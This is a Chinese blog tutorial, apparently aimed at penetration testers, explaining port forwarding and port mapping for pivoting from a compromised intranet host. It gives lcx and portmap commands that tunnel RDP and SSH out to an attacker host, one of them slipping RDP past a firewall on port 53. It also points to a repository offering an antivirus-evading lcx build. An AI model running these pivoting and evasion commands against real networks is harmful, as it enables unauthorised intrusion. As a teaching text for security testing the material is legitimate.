端口转发与端口映射

端口转发定义

顾名思义,就是将端口进行转发,具体哪个端口转发到哪个端口要以应用场景为准,比如我们拿到一台内网服务器A的权限,通过扫描发现了同内网的另一台服务器B且开了80端口,我们该如何使用浏览器访问它呢?我们画一个图如下:
在这里插入图片描述
从上图中可以看到,我们已经与A建立了通道,我们可以在A上上传任意文件,执行任意的系统命令,我们如何能够访问B的80端口?假设A是在公网上,有公网IP,我们可以访问它的任意端口。

1、直接在A上执行curl命令访问B的80端口(这种方式不方便我们测试B的80端口的漏洞,不方便利用)

2、在A上开启一个 socks 5代理,我们使用浏览器设置好代理,将我们的浏览器代理到目标内网,然后访问B的80端口。

3、在A上执行端口转发,将B的80端口转发到A的8080,然后我们直接用浏览器访问A的8080端口即可,这个原理就是端口转发。

总结一下,端口转发就是将一个端口,这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口都可以转发到任意一台可以访问到的IP上,通常这个IP是公网IP,方便我们使用。

端口映射的定义

顾名思义,就是映射端口,就是将一个内网端口映射到公网上的某个端口,我们来看一个实例,我自己的电脑是在内网中,没有公网IP,但是我想提供一个端口供其他人使用,怎么办呢?我们来看一个图:
在这里插入图片描述
A和B在不同的内网,各自有自己的内网IP,但是互相无法直接访问,这时就需要一个中间服务器,要A和B都可以访问然后作为中转服务器,实现上面的目标,这个中间服务器需要有一个公网IP,如图:
在这里插入图片描述
上图的C就是有公网IP的中间服务器,我们可以将A的80端口映射到C的80端口,这时,B就可以访问C的80端口,也就相当于访问A的80端口了,这里其实核心原理也是端口转发,只不过是将本机的端口转发到远程的某个端口。
总结
端口映射与端口转发,用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网双向的通信,而映射转发只能实现外网到内网的单向通信。

端口转发的应用

1)端口转发(listen和slave成对使用)

2)端口映射(tran)

1、lcx 内网端口转发

1、环境准备
内网主机A:windows2003、192.168.2.129、开启了3389端口
内网主机B:windows2003、192.168.2.132、开启了3389端口
hacker主机

2、主机B执行lcx端口转发命令

lcx.exe -slave 192.168.2.129 4444 127.0.0.1 3389
//把主机B的3389端口转发到主机A的4444端口上

在这里插入图片描述
3、主机A执行lcx端口监听命令

lcx.exe -listen 4444 5555
//主机A的4444端口监听主机B的请求,并将来自4444端口的请求转发到5555端口

在这里插入图片描述
4、hacker,mstsc链接主机A的5555端口

可以发现成功链接到主机B的3389端口
在这里插入图片描述
在这里插入图片描述

2、本地端口转发(端口映射)

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,

目标主机上执行:

lcx -tran 53 目标主机ip 3389

这时我们可以直接远程桌面连接到到 目标主机IP:53
Linux版使用方法
先在具有公网ip的主机上执行:

./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777
意思是监听来自6666端口的请求,将其转发到7777端口

再在内网主机上执行:

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666
意思就是将内网主机22端口的流量转发到公网主机的6666端口。

然后在Linux系统命令行下执行

ssh 公网主机ip 7777

即可连接内网主机。

参考连接

端口转发与映射:

https://www.freebuf.com/articles/web/170970.html(包括内网穿透工具讲解)
https://www.freebuf.com/articles/network/210653.html
https://cloud.tencent.com/developer/article/1491649

工具下载:

https://github.com/Brucetg/Pentest-tools(包括免杀版本的LCX)
  • 6
    点赞
  • 50
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值